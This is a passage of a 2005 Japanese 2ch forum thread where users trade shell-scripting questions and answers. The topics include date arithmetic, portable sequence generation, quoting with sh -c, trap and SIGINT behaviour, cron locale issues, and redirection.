123 :名無しさん@お腹いっぱい。:05/01/18 18:23:54
要するにエロが多いだけだな。

124 :名無しさん@お腹いっぱい。:05/01/18 20:09:45
118>> encyptファイルどうたらとかいうので
そのメッセージ(stdoutだかstderrだか)を捕まえればいいのでは?

125 :名無しさん@お腹いっぱい。:05/01/18 20:39:38
>>118
for f in *.zip; do unzip -q -t -P "" "$f" || echo "$f"; done | xargs rm

126 :118:05/01/19 00:22:26
>>124
ありがとうございます。
stdoutっていうのしか僕は知らなかったみたいでメッセージをとらえられなくて
どうすればいいのだろう?とか思ってました。
stderrってのを使えばメッセージを捕まえられるのですね。
勉強になりました。

>>125
おお、なんかちゃんと判定してるみたいです?消えました。
しかし正直何してるのかまったくわからないのでひとつずつ調べないとだな。
ありがとうございます。

127 :118:05/01/19 01:15:18
この $f ってのはどこでセットされるんですか?

128 :名無しさん@お腹いっぱい。:05/01/19 01:23:44
( ゚д゚)ポカーン

129 :名無しさん@お腹いっぱい。:05/01/19 02:28:43
>>127
ひとつずつ調べるってのはひとつずつ聞くってことかい?

130 :118:05/01/19 02:43:06
いやいやそうではなく・・・スンマセン。

131 :名無しさん@お腹いっぱい。:05/01/19 02:57:35
>>126
理解せずに2ちゃんに書いてあるコマンドを実行するのは危険

132 :名無しさん@お腹いっぱい。:05/01/19 03:09:36
くだ質にいきなよ。いいかげんスレ違い。


133 :名無しさん@お腹いっぱい。:05/01/21 10:00:24
ed に渡すコマンドって、必ず改行で区切らなきゃいけないんですか?
テキストファイルの行頭の #!/usr/local/bin を #!/usr/bin に
書き換えたいとき、覚えている方法だと

ed -s hoge.rb
1,s%/local%%
wq

スクリプトにする時、ヒアドキュメントを使うと3行かかりますよね。
正常な人は perl -e を使うみたいですが、ed では1行でできないんでしょうか。

echo 1,s%/local%%¥;wq | ed hoge.rb

134 :名無しさん@お腹いっぱい。:05/01/21 10:01:20
っと、これもくだ質向けの質問だ。ごめんなさい、もしよければお答えください。

135 :名無しさん@お腹いっぱい。:05/01/21 14:08:37
(echo 1,s%/local%%; echo wq) | ed hoge.rb


136 :名無しさん@お腹いっぱい。:05/01/21 21:39:52
ありがとうございます…
あとは printf とか? くだらなくてすみませんでした

137 :名無しさん@お腹いっぱい。:05/01/24 15:49:51
次の日曜日の日付を得たいのですが、なんか簡単な方法はありませんか?

今日実行すれば 2005-01-30 が得られて 2005年1月30日に実行すれば
2005-02-06 が得られるような方法のことです。

138 :137:05/01/24 16:13:36
man date を読めば簡単にできることがわかりました。
つまらない質問をしてしまってゴメンナさい。

139 :名無しさん@お腹いっぱい。:05/01/24 16:19:34
>>137
man date
曜日を%Aとかで出力させて
現在曜日にたいして1-7日後を判断すればいいじゃん
DATE: Monday
なら6日後とかね日曜なら7日後だ

140 :名無しさん@お腹いっぱい。:05/01/24 16:21:51
%w と %j と -d を使えば出来そう。

141 :名無しさん@お腹いっぱい。:05/01/24 16:27:23
date(1)とstrftime(3)のマニュアルをじっくり眺めてみる。

1. dateで曜日を表示させて次の日曜までの日を得る
2. 現在時間との差分を指定できるdateを使って表示:
date -v+<その日数>d (FreeBSDの場合)

という感じじゃない?

strftimeの指定子はOSによって違うかも知れないが、FreeBSDだと
expr \( $(date +%w) + 6 \) % 7
で日曜までの日数がとれるから、それを2にあてはめて
date -v$(expr 7 - \( $(date +%w) \) % 7)d
でできる。


142 :141:05/01/24 16:32:02
あ、ごめん、日曜日には当日の日付を出すと勘違いしてた。
しかもなんか間違えたものをコピペしてしまってるし……(汗

> strftimeの指定子はOSによって違うかも知れないが、FreeBSDだと
> expr \( $(date +%w) + 6 \) % 7

計算式が嘘。なんか実験しながら書いたら間違ったものをコピペしちゃった。

> date -v$(expr 7 - \( $(date +%w) \) % 7)d

これも間違えてるし。あわてて書くとよくないですね。
今回の場合、modする必要ないので

date -v+$(expr 7 - $(date +%w) )d

ですかね。


143 :141:05/01/24 16:38:54
あとは最終的に書式指定(dateのmanを見てね)をしてできあがり。

% date -v+$(expr 7 - $(date +%w) )d
2005年 1月30日 日曜日 16時33分59秒 JST

% date -v+$(expr 7 - $(date +%w) )d +ごにょごにょごにょ
2005-01-30

strftime(3)で%wが使えない場合は>>139のように文字列で表示させて
パタンマッチすることになります。ただしロケールによって文字列は
変わる(特に%Aなどは national representation を出力する)ので、
LANG=Cを指定するかロケールによらない出力を行う指定子を使う必要が
あります。


144 :141:05/01/24 16:40:12
>>143
> LANG=Cを指定するか

訂正。s/LANG/LC_ALL/




145 :名無しさん@お腹いっぱい。:05/01/24 17:40:50
gnu date は...ダメだよね、きっと。

$ date --date='next sunday'
Sun Jan 30 00:00:00 JST 2005


146 :137:05/01/24 17:52:18
>>145
> gnu date は...ダメだよね、きっと。
$ date --date 'next monday'
2005年 1月 24日 月曜日 00:00:00 JST
$ date --date 'last monday'
2005年 1月 17日 月曜日 00:00:00 JST
となってしまいます。

man を読んでこんな風にしました。
wday=0
add=$(expr $wday - $(date '+%w'))
if [ $add -eq 0 ]; then add=7; fi
if [ $add -lt 0 ]; then add=$(expr 7 + $add); fi
next_week=$(date -d "${add} days" '+%Y-%m-%d')

# レスを下さった方々どうもありがとうございました。

147 :名無しさん@お腹いっぱい。:05/01/24 18:43:53
折角だからもっといかれた方法を考えよう
% cal -d1 | grep -w `date +%d` | cut -d' ' -f7

月またぐと上手くいかないけど、まあそこはそれ。

148 :118:05/01/24 20:24:50
set `date --date '7 days ago' '+%y%m%d'`;echo $1

149 :名無しさん@お腹いっぱい。:05/01/25 08:15:17
PHPで。
% php -r 'echo date("Y-m-d", strtotime("sunday"))."\n";'

150 :名無しさん@お腹いっぱい。:05/01/25 13:45:21
>>149
この質問がくだ質で出たならその回答もいいが、
ここはシェルスクリプトスレなんで。
既に回答も出ているし、あまり発散しそうなのはやめた方がいいと思う。


151 :名無しさん@お腹いっぱい。:05/01/30 04:51:01
シェルのベンチマークテストとかあるのかな?
ランチャー的な動作しかしないとしても、常時動いてるものだし。

152 :名無しさん@お腹いっぱい。:05/01/30 08:02:29
>>151
> 常時動いてるものだし。

あんたのシステムがどういうものか凄く興味がある。

153 :名無しさん@お腹いっぱい。:05/01/30 08:05:37
>>152
いや「常時動いてる」は言い間違いか。
とにかくconfigureとかああいうのが、もっと
軽快に動作するようになったらいいなあと思う。

154 :名無しさん@お腹いっぱい。:05/01/30 08:14:18
configure が遅いのはシェルのせいじゃありません。

155 :名無しさん@お腹いっぱい。:05/01/30 13:25:36
おとなしくccacheを使え。

156 :名無しさん@お腹いっぱい。:05/01/30 14:48:25
ファイルの日付を切り出すコマンドを sh -c で渡してやりたいです[*1]。

とりあえず
LANG=C ls -l hoge | awk '{print $6, $7, $8}'
で切り出しているのですが、これを sh に渡すとなると

sh -c "LANG=C ls -l hoge|awk '{print $6, $7, $8}'"
awk: line 1: syntax error at or near ,

sh -c 'LANG=C ls -l hoge|awk '{print $6, $7, $8}''
awk: line 2: missing } near end of file

sh -c 'LANG=C ls -l hoge|awk \'{print $6, $7, $8}\''
quote>

sh -c 'LANG=C ls -l hoge|awk \\'{print $6, $7, $8}\\''
awk: 0: unexpected character '\'
awk: line 2: missing } near end of file

むう(´・ω・`)

1. 上記のようなコマンドを sh -c にうまく渡すにはどうすればいいでしょうか?
2. [*1] を満たすエレガントなコマンドがあるでしょうか?


157 :名無しさん@お腹いっぱい。:05/01/30 14:54:27
sh -c 'ls -l hoge | awk "{print \$6,\$7,\$8}"'
でいけたよ。
ところでシェルはzsh?
漏れもzsh使ってるんだけど、シングルクォートの扱いだけがzshの嫌なところ。

158 :156:05/01/30 15:27:57
>>157
鬼のような即レスどうもです。

> sh -c 'ls -l hoge | awk "{print \$6,\$7,\$8}"'
そうか、こうすりゃいいのか。多謝。

> ところでシェルはzsh?
ビンゴー。なんで判ったんざんしょ? quote> って出てるから?

> 漏れもzsh使ってるんだけど、シングルクォートの扱いだけがzshの嫌なところ。
bash とかとどっか違ったっけ? …ってちょっとスレ違いか。

159 :名無しさん@お腹いっぱい。:05/01/30 15:34:36
>>158
157ではないけど、bashとかと同じだと思うよ。
シェルのクウォートとか$とか空白の扱いは腐ってるから、あんま
り深入りしないほうがいいと思う。

160 :名無しさん@お腹いっぱい。:05/01/30 23:50:46
/usr/bin に a というスクリプトがあったとして、そこから同じく /usr/bin にある b という
プログラムを呼びたい場合、どうすればいいですか?
/usr/bin は固定ではなくて、a と b は常に同じディレクトリにあります。

./b だと、コマンドを呼び出しているパス/b という意味になってしまって、期待通りの挙動に
なってくれません。

161 :名無しさん@お腹いっぱい。:05/01/31 00:08:41
$0を使う。$(dirname $0)とか。
でもaにsymlinkしてそれを使う場合など、期待するものがいつも得られるわけではない。

ま、UNIXではそういうことしないでフルパスでbに書くのが推奨される作法。
/usr/binとかの場所に置くものならするべきではないけど、
個人のスクリプトとかなら好きにして。


162 :名無しさん@お腹いっぱい。:05/01/31 00:14:47
激しくFQAだが、いい方法がない。

163 :名無しさん@お腹いっぱい。:05/01/31 00:23:42
FQAキター

164 :名無しさん@お腹いっぱい。:05/01/31 00:38:52
>>58あたりでも出てたな

165 :名無しさん@お腹いっぱい。:05/01/31 00:50:18
>>161
どうもありがとうございます。
助かりました。

>>164
微妙に、ガイシュツですね。
スマソ。

166 :名無しさん@お腹いっぱい。:05/01/31 17:03:21
shで連番を生成する定石ってありますか?
1 2 3 4 5 ... のタイプと 001 002 003 004 005 ... のタイプあたりで。

167 :名無しさん@お腹いっぱい。:05/01/31 17:11:11
seq とか?

168 :名無しさん@お腹いっぱい。:05/01/31 17:46:16
>>166
for i in `seq 10` ; do echo $i ; done
とか。jotとか。

まあ結局フォーマットするならawk使ってやったほうがいろいろ潰しが効きそう。

a=`awk 'BEGIN { for (i = 1; i <= 10; i++) printf("%03d ", i) }'`;
for i in $a; do echo $i; done

とか。

169 :名無しさん@お腹いっぱい。:05/01/31 17:47:58
seq -f %03g 1 5

170 :名無しさん@お腹いっぱい。:05/01/31 17:51:58
漏れの回りではseqよりzshの方が存在確率が高かったりする。

% zsh -c 'echo {1..5}'
1 2 3 4 5
% zsh -c 'echo {001..005}'
001 002 003 004 005


171 :名無しさん@お腹いっぱい。:05/01/31 17:54:44
連番作成なんて飾りですよ

172 :名無しさん@お腹いっぱい。:05/01/31 18:08:34
seq使ってる時点でLinux依存になるだろ。
jotならFreeBSD依存。
どうせ依存するならbashのfor ((;;))とか使っとけ。

173 :名無しさん@お腹いっぱい。:05/01/31 18:10:56
前スレ?で既出。定番は
yes ' ' | cat -n | head -n 10


174 :名無しさん@お腹いっぱい。:05/01/31 18:12:39
for((i=0;i<10;i++));do printf "%03d " $i;done
これならどこでだって使える

175 :名無しさん@お腹いっぱい。:05/01/31 18:14:57
>>174
???
shで使えませんが???

176 :名無しさん@お腹いっぱい。:05/01/31 18:22:42
>>172
Linux 依存か?
GNU coreutils に依存するだけだが。

177 :名無しさん@お腹いっぱい。:05/01/31 18:22:57
>>172
> seq使ってる時点でLinux依存になるだろ。

ということにしたいのですね。

178 :名無しさん@お腹いっぱい。:05/01/31 18:25:35
GNU coreutilsをわざわざ入れてる*BSDやSolarisって
少数派だろうし、それが入っているって期待して
スクリプト書いちゃいかんだろ。
Linuxなら100%入っていると改定して良い。

179 :名無しさん@お腹いっぱい。:05/01/31 18:29:45
Linux には 100% 入っている != Linux 依存


180 :名無しさん@お腹いっぱい。:05/01/31 19:14:00
>>175 大きな勘違いしてた。shならこうか?
i=1;while test $i -le 10;do printf "%03d " $i;i=`expr $i + 1`;done

181 :名無しさん@お腹いっぱい。:05/01/31 19:18:39
XXXがYYY依存とか言い出すとさ、
printf(1)が普通にあるのもLinuxや*BSDに限ったことなんじゃないの?
SunOSや商用OS(HP-UX、AIX...)だと怪しい気がする。あったらごめん。


182 :名無しさん@お腹いっぱい。:05/01/31 19:18:53
awk 'BEGIN { for( i=1; i<=100; i++ ) print i }'

183 :名無しさん@お腹いっぱい。:05/01/31 19:22:54
printf(1)はPOSIX準拠

184 :名無しさん@お腹いっぱい。:05/01/31 19:23:41
>>181
そういうときは、テンプレにございます
UNIX系各種OSのman page検索
POSIX: Shell & Utilities (標準規格)
などのリンクを活用くださいませ。


185 :名無しさん@お腹いっぱい。:05/01/31 19:40:29
>>181
(i=1;while [ ! ! $i -le 100 ];do case $i in [0-9])echo -n "00$i ";;[0-9][0-9])echo -n "0$i ";;[0-9][0-9][0-9])echo -n "$i ";;esac;i=`expr $i + 1`;done)


186 :名無しさん@お腹いっぱい。:05/01/31 19:49:48
>>185
うーん力作だね。
でも、echo -nがSolarisだと動かないね。

ところで、whileのところのtestで ! ! で2重否定してるのはなぜ?
これが原因で動かない環境もありそうな気が・・

187 :名無しさん@お腹いっぱい。:05/01/31 19:50:46
/bin/sh -c '(S="";i=1;while [ $i -le 100 ];do case $i in ?)S="$S 00$i";;??)S="$S 0$i";;???)S="$S $i";;esac;i=`expr $i + 1`;done;echo $S)'
ちょっと訂正

188 :名無しさん@お腹いっぱい。:05/01/31 20:55:04
純粋なshの機能だけでsubstrやindexといった関数って書ける?

189 :名無しさん@お腹いっぱい。:05/01/31 21:11:30
>>182
Solaris の /usr/bin/awk は極めて古いので、BEGIN だけのスクリプトは
/dev/null を食わせてやらないとダメ。/usr/bin/nawk ならば問題なし。

>>188
expr(1) を使わなきゃ難しいような気が。


190 :166:05/02/01 13:33:19
たくさんの回答ありがとうございます。
とりあえず、>>173がどんな環境でもまず問題なし、exprを使えば
もうちょっと凝ったものも出来る、もっとあっさり書きたい時は
環境依存になるということですね?
ありがとうございます。

191 :名無しさん@お腹いっぱい。:05/02/01 13:37:22
>>186
> でも、echo -nがSolarisだと動かないね。

PATH=/usr/ucb:$PATH echo

192 :名無しさん@お腹いっぱい。:05/02/01 13:40:40
>とりあえず、>>173がどんな環境でもまず問題なし、exprを使えば

Solaris には yes はないよ。

193 :名無しさん@お腹いっぱい。:05/02/01 18:23:43
あるんだなそれが。ってのもyesの代替スクリプトも過去スレで既出。


194 :名無しさん@お腹いっぱい。:05/02/01 18:53:24
>>193
代替スクリプトが必要な時点で無いって言うのじゃないですか?
代替スクリプト用意しておいて"ある"って言うなら
gnu coreutils インストールしておけばその環境では"ある"って言えるわけで

195 :名無しさん@お腹いっぱい。:05/02/01 18:59:53
while :; do echo yes; done | hoge
ぐらい書くのと、coreutils入れるのと、同じかよ

196 :名無しさん@お腹いっぱい。:05/02/01 19:06:44
で、Solaris に yes はあるの?

197 :名無しさん@お腹いっぱい。:05/02/01 19:13:51
>>194
/usr/bin/yes にある

198 :名無しさん@お腹いっぱい。:05/02/01 19:23:01
うちの Solaris には無い

199 :名無しさん@お腹いっぱい。:05/02/01 19:23:39
>>198
すくなくとも
Solaris 9 4/04 s9s_u6wos_08a SPARC
Copyright 2004 Sun Microsystems, Inc. All Rights Reserved.
Use is subject to license terms.
Assembled 22 March 2004
にはあるな。

200 :名無しさん@お腹いっぱい。:05/02/01 19:38:12
SunOS 3.X の大昔から Solaris 7まで使ってたけど、
yesがないSunOSは見たことなかったぞ。

差し支えなければバージョン晒してみてくれないか? >>198

201 :not 198:05/02/01 19:47:59
>>200
思い込み激しいな。ほんとにSolaris7まで使ったの?
yesは、
Solaris7やSolaris8にはない。(/usr/binにも、/usr/ucbにさえも)
Solaris9で復活したみたい。
まあ、ucb系のコマンドということで嫌われて一回消されて
復活したというわけかな。

202 :198:05/02/01 19:53:41
% uname -a
SunOS edu 5.8 Generic_108528-19 sun4u sparc SUNW,Ultra-Enterprise
% cat /etc/release
Solaris 8 2/02 s28s_u7wos_08a SPARC
Copyright 2002 Sun Microsystems, Inc. All Rights Reserved.
Assembled 18 December 2001
% print $path
/usr/local/j2sdk1.4.2_02/bin /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /usr/openwin/bin /usr/ccs/bin /usr/ucb /opt/SUNWspro/bin /usr/local/java/bin /usr/bin/X11
% yes
zsh: command not found: yes


203 :200:05/02/01 20:10:31
>>201
スマヌ orz カンチガイカモ


204 :名無しさん@お腹いっぱい。:05/02/01 20:18:22
SolarisはGNUモノ入れないと使いものにならなかったからな。
coreutils(当時はsh-utilsか?)のyesが入ってたんでしょ。

205 :名無しさん@お腹いっぱい。:05/02/01 23:23:40
ホントに移植性が大事なら
awk や perl で作った方が楽かもね。

206 :名無しさん@お腹いっぱい。:05/02/02 04:35:15
$echo -e '#include<stdio.h>\nint main(){int i;for(i=1;i<=10;i++){printf("%03d ",i);}}' > foo.c; gcc foo.c -o foo && ./foo; rm -f foo.c foo
今度はそうするとビルドツールやlibcが問題になって泥沼化かw

207 :名無しさん@お腹いっぱい。:05/02/02 08:12:00
で、perlを使えば、perlがベースから外されたFreeBSD 5.xで問題になる。
awkはSolarisで問題になり、かと言ってnawkを使うとSolaris以外で使えない。

208 :名無しさん@お腹いっぱい。:05/02/02 08:54:30
じゃぁcshで。

209 :名無しさん@お腹いっぱい。:05/02/02 09:13:00
>>207
NetBSDも昔っからperl入ってないし、pkg_addすると
/usr/pkg/binに入るんで、/use/binにperlのシンポリック
リンクを張った覚えがあるな。

NetBSD2.0はまだ触ってないから知らんが。

210 :名無しさん@お腹いっぱい。:05/02/03 00:53:07
二つのファイルが同じときに、文字を表示するにはどうしたらいいのでしょうか?
diffやcmpだと違いがあったときにしか表示されません。
何かいいコマンドとか方法はありませんか?

211 :名無しさん@お腹いっぱい。:05/02/03 01:01:49
>>210
diff の返り値見るとか。

212 :名無しさん@お腹いっぱい。:05/02/03 01:06:43
cmpで黙らせた方が速そう

213 :名無しさん@お腹いっぱい。:05/02/03 02:36:26
>>210
#!/bin/bash
cmp|diff "${1}" "$[2}"
if [ $? -ne 0 ]; then
hogehoge(eg. cat "${1}")
(eg. echo "identical")
fi

214 :名無しさん@お腹いっぱい。:05/02/03 02:37:48
>>210
md5sum を比較するとか。

215 :名無しさん@お腹いっぱい。:05/02/03 10:37:09
>>210
comm

216 :名無しさん@お腹いっぱい。:05/02/03 20:57:36
#################
#!/bin/sh
trap "echo hoge" INT
echo start
sleep 100
echo stop
#################

こんなスクリプトを書いています。
sleep 100 には実際には長たらしい処理をするプログラムが入ります。
ここで、外部から SIGINT を送り込んでも、
すぐに hoge が表示されるわけではありません。(最悪の場合100秒待ちます(藁))
SIGINT を送り込んだら hoge が即表示されるようにするにはどういう風に
スクリプトを書けばいいですか?

217 :名無しさん@お腹いっぱい。:05/02/03 21:12:19
その例だと、コマンドがひとつしかないからじゃないの?
たとえば、sleep 1を100回繰り返してみるとか、にすれば結果も変わってくるんじゃないの?

218 :名無しさん@お腹いっぱい。:05/02/03 21:57:25
SIGINTを誰に送ってる?
shだけに送ってたら、sleepが死なないから終了まで待つ。
shとsleep両方に送るには、shのpidがpgidだと思うから、
そこめがけてkill -INT -pgidとか、killpg(-pgid,SIGINT)とか。

219 :名無しさん@お腹いっぱい。:05/02/04 16:22:35
bashでヒアドキュメントをシェル変数にいれようと思って
cat > $kiee <<EOF
munyamunya
EOF
とすると
-bash: $kiee: ambiguous redirect
とでます。なんでですか?

220 :名無しさん@お腹いっぱい。:05/02/04 16:24:33
>>219
$kieeの中身は?

221 :名無しさん@お腹いっぱい。:05/02/04 16:25:23
>>220
空です。

222 :名無しさん@お腹いっぱい。:05/02/04 16:27:03
お前がやっているのは、EOFまでの標準入力を変数kieeに入っているファイルにリダイレクト、だよもん

223 :名無しさん@お腹いっぱい。:05/02/04 16:27:34
$kieeにファイル名が入ってたら、とりあえずエラーにはならない

224 :名無しさん@お腹いっぱい。:05/02/04 16:28:33
>>222-223
マジデー('A`) ありがとうごzぁいまひた

225 :名無しさん@お腹いっぱい。:05/02/04 16:44:18
>>216
sleep 100

sleep 100 &
wait
の2行にすると、shだけにSIGINTを送っても即処理されるみたい。

何でかって?それがな、一晩考えたが俺も説明できん orz

226 :名無しさん@お腹いっぱい。:05/02/04 16:49:29
>>225
考えてもわからんよ。マニュアルかソース嫁

227 :225:05/02/04 17:00:44
>>226
何回も読んだけど、なお解らなかったの。OTZ

普通にsleep 100だけでも、shはsleepをfork+execして親側でwaitしてるじゃん。
wait中の親はSIGINT捕まえられて即処理できて当然じゃん?
これをsleep 100&waitに変えたからって、この親子の関係は変わってないでしょ?

だれか、俺を導いてちょ。




228 :名無しさん@お腹いっぱい。:05/02/04 17:02:12
sleep 100 1行だけの場合、SIGINTでsleepが終了しない限り
シェルに戻らないので、trapも起きない。
sleep 100 & waitの場合、waitはシェルの内部コマンドなので、
SIGINTを送るとwaitが終了してtrapが起きる。
この時、waitが終了してもsleep 100 &はバックグラウンドで動き続ける。

229 :名無しさん@お腹いっぱい。:05/02/04 17:12:20
>>227
単純なfork+exec+waitではないのでは?
このへんのことはマニュアルに書いてないのかな?
ソース読むしかないね。

230 :名無しさん@お腹いっぱい。:05/02/04 17:16:15
プロセスグループだかセッションだかが関連するんではないだろうか、
と勝手な想像をふくらましてみる

231 :225:05/02/04 17:29:09
>>228 sleep 100 1行だけの場合、SIGINTでsleepが終了しない限り
シェルに戻らないので、

これ違うよね?だってシェルのプロセスだって動き続けているでしょ?
fork&execしたsleepをwaitして待ってる最中というのが俺の理解っす。
だから、必要な処理があれば実行できる(例えばSIGINTの処理)。

232 :名無しさん@お腹いっぱい。:05/02/04 17:33:48
「シェルに戻らないので」といういい方が曖昧だったかな。
sleep 100とフォアグラウンドで記述した以上、
シェルとしては文法上、sleepが終了するまでは次の処理を
することができない。(システムコールレベルでのfork() wait()は
この場合考えないこと)(あくまでシェル文法)
sleep 100 & waitなら、waitだけ終了して、
sleep 100だけバックグラウンドに残すことが文法上可能なので、
sleep 100 &したままtrapを実行できる。
あくまで文法解釈の問題。

あと、シグナルが届くのは、waitが内部コマンドだから、
シェルに送ってもwaitに届く。

233 :名無しさん@お腹いっぱい。:05/02/04 17:56:29
>>231
225はシステムコールのこと知ってるくせに実際にプログラム書いたことは
あまりないだろ? ブロックするシステムコールを呼ぶときは、EINTRは
無視するループを組むことが多いのよ。
普通にforegroundで実行してるときはwaitの間はSIGINTが来ても無視するわけ。
だけどwaitビルトインを使うときはSIGINTが来たらさくっと抜けるように
shというのは書かれているわけだ。
詳しくはソース読め。これくらいなら簡単だからせいぜい2,3分で追える。

>>232 はなんかいいかげんな説明というかこじつけっぽい気が。本末転倒っつーか。


234 :名無しさん@お腹いっぱい。:05/02/04 18:00:37
つまり、sleep 100の1行だけの場合、
内部的にシェルがwait()システムコールで待っている時に、
SIGINTでwait()が中断されたとしても、
フォアグラウンドのsleepが未完なので、
あえてtrapの処理をせずに、再度wait()を呼び出して、
あくまでもsleepを待つようにしている(それが仕様)ということかな?

235 :名無しさん@お腹いっぱい。:05/02/04 20:20:38
trap 文が実行されるのは、あくまで現在実行してるコマンドの終了後。
なので解決策としては、>>218 が正しい。

実装によっては挙動を変えられる。たとえば、FreeBSD の sh の -T オプション。
http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=sh&dir=jpman-5.2.0%2Fman

236 :名無しさん@お腹いっぱい。:05/02/04 20:22:53
うわ!! 直リンしちまった。。。m(__)m

237 :名無しさん@お腹いっぱい。:05/02/04 20:24:04
>>236


238 :名無しさん@お腹いっぱい。:05/02/04 22:32:42
勉強になったわ。


239 :名無しさん@お腹いっぱい。:05/02/05 11:18:04
>>236
しても問題ないと思うが。

240 :名無しさん@お腹いっぱい。:05/02/07 17:02:14
http://pc5.2ch.net/test/read.cgi/linux/1107692207/l50

↑から誘導されてきました

親シェルから下記のようなシェルを起動させて動かしています。
下記シェルを単体で動かすとちゃんと動くのですが、他のシェルか
ら呼び出すとcase文を無視されてしまいます。
なぜなんでしょうか?ご教示下さい

#/bin/sh
WEEK=`date | awk '{print $4}'`
TIME=`date +%H%M`

case $WEEK in
月曜日)
if [ $TIME -gt 1200 ] && [ $TIME -lt 1300 ]; then
echo "お昼休み"

cronで動かしたときのみcase文を無視されてしまいます。
手動の場合は正常に動作します。
何が原因なのでしょうか?

241 :名無しさん@お腹いっぱい。:05/02/07 17:03:44
・シェルスクリプトのことをシェルってゆーな by >>1


242 :名無しさん@お腹いっぱい。:05/02/07 17:06:12
ま、おおかた、cronの中では LANG が設定されてないとかそんなもんだろ。
echo $WEEK してみろ

243 :名無しさん@お腹いっぱい。:05/02/07 17:10:43
>>240
直接の原因は、cronから起動した場合、
LANG=Cになっているから、dateの出力が英語表示になる、
しかも、順番も変わることだが、
そもそも、dateをawkしてprint $4などとするのは邪道。

WEEK=`date +%w`

としなさい。すると、WEEKには、0(日曜)〜6(土曜)が数字で入るから、
case文ではこの数字で場合分けする。

244 :名無しさん@お腹いっぱい。:05/02/07 18:09:52
>>240
今Linくだ質に回答したよ。
6時間ぶりに2chに来て見た瞬間にわかったよ。

245 :名無しさん@お腹いっぱい。:05/02/07 18:13:09
次スレからは

・テンプレ読まない奴禁止

ってのも>>1に入れた方がいいんだろうか。


246 :240:05/02/07 18:18:11
レス頂いた皆さん有難うございます。
今は帰宅して240の環境にいないので確認できないのですが、>>244さんのご回答で
直りそうですね。それが理由だったら恥ずかしいこの上ないです。
それと>>243さん勉強になりました。それに変更します。
初心者のスレ汚しすみませんでした。
皆さん有難う

247 :名無しさん@お腹いっぱい。:05/02/07 18:19:48
>>244
その、Lin板の管質に回答したってやつ、違うと思うよ。

>>243 の答で合ってる。

#/bin/sh のところは単なるtypoだと思うし、
もし本当に #/bin/sh って書いてあっても、
デフォルトで /bin/sh スクリプトと解釈されて動くはず。
(chmod +x さえされてれば)

248 :名無しさん@お腹いっぱい。:05/02/07 18:34:26
>>247
244だけど、多分その通りだろうね。
和紙はスレの流れのほんの一部しか読んでない状態だし、
和紙の言うとおりだとしたら、その際エラーも出てる筈

249 :名無しさん@お腹いっぱい。:05/02/07 22:02:39
>>248言語障害?

250 :名無しさん@お腹いっぱい。:05/02/08 00:29:16
cronで生成しているファイル(日付.log)の1行目に
日付(2005/05/08)を挿入したいのですが書き方が分かりません。

ご教授願います。

251 :名無しさん@お腹いっぱい。:05/02/08 00:48:46
>>250
>>1曰く
>  manを見ましょう。

man date


252 :名無しさん@お腹いっぱい。:05/02/08 00:53:11
>>251
日付を取り出すフォーマットじゃなくてさ、
日付.logという(日付に依存して決まる)ファイル名の方で悩んでるんじゃない?

>>250
today=`date ...`
echo $today > $today
とかしてみ。`date ...`の部分は、>>251 の助言にしたがって自分で考えようね。

``の意味がわからないなら、そのときはman shだな。

253 :252:05/02/08 00:54:17
あ、日付にスラッシュが入る形式なのか。
そのままじゃファイル名に使えんな。
orz

254 :名無しさん@お腹いっぱい。:05/02/08 01:10:18
ともかく、質問のしかたが悪いということで。

255 :名無しさん@お腹いっぱい。:05/02/08 01:15:03
もう、日付は、飽きた。

この手のスレのうちの確実に1割以上は date の話だろ。

256 :名無しさん@お腹いっぱい。:05/02/08 21:19:30
ならば、リダイレクションの話。

freshclam > /home/update.log
freshclam 2>&1 > /home/update.log
freshclam 2>&1 | tee /home/update.log

どれも結果は同じ

cat /home/update.log | mail -s "`/bin/hostname` test" root

此れで、/home/update.logの内容をメールに受け渡し。

ダルゥ。。。

257 :252:05/02/08 21:23:26
redirectionの代わりに何故catをかませるのかという議論で荒れたのって、
このスレだっけ?

258 :250:05/02/08 23:26:46
sedで削除したり置換したりすることにしかシェルを使ったことがないので
質問の仕方に変な箇所があるかもしれませんがご了承ください。

ということで、やりたい事を書き直します。
1日に1度、wgetでデータをダウンロードして
日付.logというファイル名で保存しています。
このファイルの1行目に日付を挿入したいと考えて最初の質問をしました。

現在はダウンロードしているだけですが
このファイルの1行目に(date --date '1 days ago' +%Y/%m/%d)を
挿入する方法をご教授ください。
#!/bin/sh
log1=`date --date '1 days ago' +%y%m%d.log`
log2=`date --date '1 days ago' +%y%m%d.log2`
cd ログ保存ディレクトリ
wget ttp://www.hogehoge.com/log/$log1
mv $log1 $log2
sed -e '/要らない文字/d' $log2 > $log1
rm $log2
cd

259 :名無しさん@お腹いっぱい。:05/02/08 23:44:42
>>258
やってることがイマイチわからんが mv の後に
echo `date --date '1 days ago' +%Y/%m/%d` > $log1
sed -e '/要らない文字/d' $log2 >> $log1
じゃ駄目なのけ?

260 :名無しさん@お腹いっぱい。:05/02/08 23:45:50
sed の行を↓
(date --date '1 days ago' +%Y/%m/%d; sed -e '/要らない文字/d' $log2) > $log1
$log2 って一時ファイルなのね、、、分かりにくい。。。

261 :名無しさん@お腹いっぱい。:05/02/08 23:45:52
日付のみが書かれたファイルに>>するとかじゃだめか?

262 :名無しさん@お腹いっぱい。:05/02/08 23:46:45
おう、遅かった

263 :259:05/02/08 23:52:35
>>260見て気付いた、echo 要らないね(;´Д`)

264 :名無しさん@お腹いっぱい。:05/02/09 00:09:21
質問です。born shで、
catした結果、grepした結果をstderrに吐く、ということはできるのでしょうか?
できるとしたらやり方を教えた下さい。


265 :名無しさん@お腹いっぱい。:05/02/09 00:15:01
man読む

266 :名無しさん@お腹いっぱい。:05/02/09 00:16:57
>>259-260
ありがとうございます。

期待通りの結果で出力されました。
今晩はぐっすり眠れそうです。

267 :264:05/02/09 00:17:44
ごめんなさい、bourne shねんですね。
初めて知りました。

>>265
ネットではイロイロ探してみたのですが、
manでは何をキーに探せばいいのか見当がつきませんでした。
xxxの使い方、オプションとかならmanも見るのですが。

268 :名無しさん@お腹いっぱい。:05/02/09 00:34:28
>>256
>どれも結果は同じ
freshclam がエラーメッセージも標準出力に出すのなら、
それでいいけど、
> /home/update.log
2>&1 > /home/update.log

2>&1 | tee /home/update.log
はちがうよ。

269 :07041050335728_ac:05/02/09 00:36:57
>&2

270 :名無しさん@お腹いっぱい。:05/02/09 00:39:25
>>267
man sh
あなたの見るのがどのOSの何語のmanかは知らないが、
redirectかredirection (日本語ならリダイレクト/リダイレクション)で
検索してそれっぽいところを読むといいでしょう。

